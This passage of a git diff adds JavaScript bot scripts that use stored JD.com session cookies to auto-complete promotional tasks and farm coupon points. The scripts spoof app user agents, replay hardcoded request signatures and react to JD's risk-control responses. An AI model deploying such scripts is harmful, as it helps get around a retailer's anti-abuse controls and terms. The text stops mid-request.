$.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdMs() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMs() { + $.score = 0 + await getActInfo() + await getUserInfo() + $.cur = $.score + if ($.encryptProjectId) { + await getTaskList() + } + await getUserInfo(false) + await showMsg() +} + +function getActInfo() { + return new Promise(resolve => { + $.post(taskPostUrl('assignmentList', {}, 'appid=jwsp'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === 200) { + $.encryptProjectId = data.result.assignmentResult.encryptProjectId + console.log(`活动名称:${data.result.assignmentResult.projectName}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUserInfo(info=true) { + return new Promise(resolve => { + $.post(taskPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === 2041) { + $.score = data.result.assignment.assignmentPoints || 0 + if(info) console.log(`当前秒秒币${$.score}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + let body = {"encryptProjectId": $.encryptProjectId, "sourceCode": "wh5"} + return new Promise(resolve => { + $.post(taskPostUrl('queryInteractiveInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + $.risk = false + if (data.code === '0') { + for (let vo of data.assignmentList) { + if($.risk) break + if (vo['completionCnt'] < vo['assignmentTimesLimit']) { + if (vo['assignmentType'] === 1) { + if(vo['ext'][vo['ext']['extraType']].length === 0) continue; + for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) { + console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`) + let body = { + "encryptAssignmentId": vo['encryptAssignmentId'], + "itemId": vo['ext'][vo['ext']['extraType']][i]['itemId'], + "actionType": 1, + "completionFlag": "" + } + await doTask(body) + await $.wait(vo['ext']['waitDuration'] * 1000 + 500) + body['actionType'] = 0 + await doTask(body) + } + } else if (vo['assignmentType'] === 0) { + for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) { + console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`) + let body = { + "encryptAssignmentId": vo['encryptAssignmentId'], + "itemId": "", + "actionType": "0", + "completionFlag": true + } + await doTask(body) + await $.wait(1000) + } + } else if (vo['assignmentType'] === 3) { + for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) { + console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`) + let body = { + "encryptAssignmentId": vo['encryptAssignmentId'], + "itemId": vo['ext'][vo['ext']['extraType']][i]['itemId'], + "actionType": 0, + "completionFlag": "" + } + await doTask(body) + await $.wait(1000) + } + } + } + } + } else { + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(body) { + body = {...body, "encryptProjectId": $.encryptProjectId, "sourceCode": "wh5", "ext": {}} + return new Promise(resolve => { + $.post(taskPostUrl('doInteractiveAssignment', body), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(data.msg) + if(data.msg==='风险等级未通过') $.risk =1 + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得秒秒币${$.score-$.cur}枚,共${$.score}枚`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + + +function taskPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_necklace.js b/jd_necklace.js new file mode 100644 index 0000000..1f69c5f --- /dev/null +++ b/jd_necklace.js @@ -0,0 +1,517 @@ +/* +点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购) +Last Modified time: 2021-05-28 17:27:14 +活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html) +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#点点券 +10 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10 0,20 * * *" script-path=jd_necklace.js,tag=点点券 + +===============Surge================= +点点券 = type=cron,cronexp="10 0,20 * * *",wake-system=1,timeout=3600,script-path=jd_necklace.js + +============小火箭========= +点点券 = type=cron,script-path=jd_necklace.js, cronexpr="10 0,20 * * *", timeout=3600, enable=true + */ +const $ = new Env('点点券'); +let allMessage = ``; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D` +let message = ''; +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`\n通知:京东已在领取任务、签到、领取点点券三个添加了log做了校验,暂时无可解决\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jd_necklace(); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: openUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_necklace() { + try { + await necklace_homePage(); + await doTask(); + await sign(); + await necklace_homePage(); + await receiveBubbles(); + await necklace_homePage(); + // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(async resolve => { + if (nowTimes.getHours() >= 20) { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl}); + } + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) + if ($.isNode() && nowTimes.getHours() >= 20 && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) { + allMessage += `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}` + } + resolve() + }) +} +async function doTask() { + for (let item of $.taskConfigVos) { + if (item.taskStage === 0) { + console.log(`【${item.taskName}】 任务未领取,开始领取此任务`); + await necklace_startTask(item.id); + console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); + await $.wait(1000); + await reportTask(item); + } else if (item.taskStage === 2) { + console.log(`【${item.taskName}】 任务已做完,奖励未领取`); + } else if (item.taskStage === 3) { + console.log(`${item.taskName}奖励已领取`); + } else if (item.taskStage === 1) { + console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`); + await reportTask(item); + } + } +} +async function receiveBubbles() { + for (let item of $.bubbles) { + console.log(`\n开始领取点点券`); + await necklace_chargeScores(item.id) + } +} +async function sign() { + if ($.signInfo.todayCurrentSceneSignStatus === 1) { + console.log(`\n开始每日签到`) + await necklace_sign(); + } else { + console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`) + } +} +async function reportTask(item = {}) { + //普通任务 + if (item['taskType'] === 2) await necklace_startTask(item.id, 'necklace_reportTask'); + //逛很多商品店铺等等任务 + if (item['taskType'] === 6 || item['taskType'] === 8 || item['taskType'] === 5 || item['taskType'] === 9) { + //浏览精选活动任务 + await necklace_getTask(item.id); + $.taskItems = $.taskItems.filter(value => !!value && value['status'] === 0); + for (let vo of $.taskItems) { + console.log(`浏览精选活动 【${vo['title']}】`); + await necklace_startTask(item.id, 'necklace_reportTask', vo['id']); + } + } + //首页浏览XX秒的任务 + if (item['taskType'] === 3) await doAppTask('3', item.id); + if (item['taskType'] === 4) await doAppTask('4', item.id); +} +//每日签到福利 +function necklace_sign() { + return new Promise(resolve => { + const body = { + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + console.log(`签到成功,时间:${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } else { + console.log(`每日签到失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换无门槛红包 +function necklace_exchangeGift(scoreNums) { + return new Promise(resolve => { + const body = { + scoreNums, + "giftConfigId": 31, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + const { result } = data.data; + message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`; + message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`; + console.log(message) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//领取奖励 +function necklace_chargeScores(bubleId) { + return new Promise(resolve => { + const body = { + bubleId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } else { + console.log(`领取点点券失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = "") { + return new Promise(resolve => { + let body = { + taskId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + if (itemId) body['itemId'] = itemId; + $.post(taskPostUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`); + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function necklace_getTask(taskId) { + return new Promise(resolve => { + const body = { + taskId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.taskItems = []; + $.post(taskPostUrl("necklace_getTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + $.taskItems = data.data.result && data.data.result.taskItems; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function necklace_homePage() { + $.taskConfigVos = []; + $.bubbles = []; + $.signInfo = {}; + return new Promise(resolve => { + $.post(taskPostUrl('necklace_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + $.taskConfigVos = data.data.result.taskConfigVos; + $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + $.lastRequestTime = data.data.result.lastRequestTime; + $.bubbles = data.data.result.bubbles; + $.signInfo = data.data.result.signInfo; + $.totalScore = data.data.result.totalScore; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doAppTask(type = '3', id) { + let body = { + "pageClickKey": "CouponCenter", + "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", + "lat": "", + "globalLat": "", + "lng": "", + "globalLng": "" + } + await getCcTaskList('getCcTaskList', body, type); + body = { + "globalLng": "", + "globalLat": "", + "monitorSource": "ccgroup_ios_index_task", + "monitorRefer": "", + "taskType": "2", + "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", + "pageClickKey": "CouponCenter", + "lat": "", + "taskId": "necklace_" + id, + "lng": "", + } + if (type === '4') { + console.log('需等待30秒') + await $.wait(15000); + } else { + console.log('需等待15秒') + } + await $.wait(15500); + await getCcTaskList('reportCcTask', body, type); +} +function getCcTaskList(functionId, body, type = '3') { + let url = ''; + return new Promise(resolve => { + if (functionId === 'getCcTaskList') { + url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1614320848090&sign=d3259c0c19f6c792883485ae65f8991c&sv=111` + } + if (type === '3' && functionId === 'reportCcTask') url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622194121039&sign=d565c4594b8e05645f1fe9a495ac7a7d&sv=122` + if (type === '4' && functionId === 'reportCcTask') url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102` + // if (functionId === 'reportCcTask') { + // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1614320901023&sign=26e637ba072ddbcfa44c5273ef928696&sv=111` + // } + const options = { + url, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "63", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Referer": 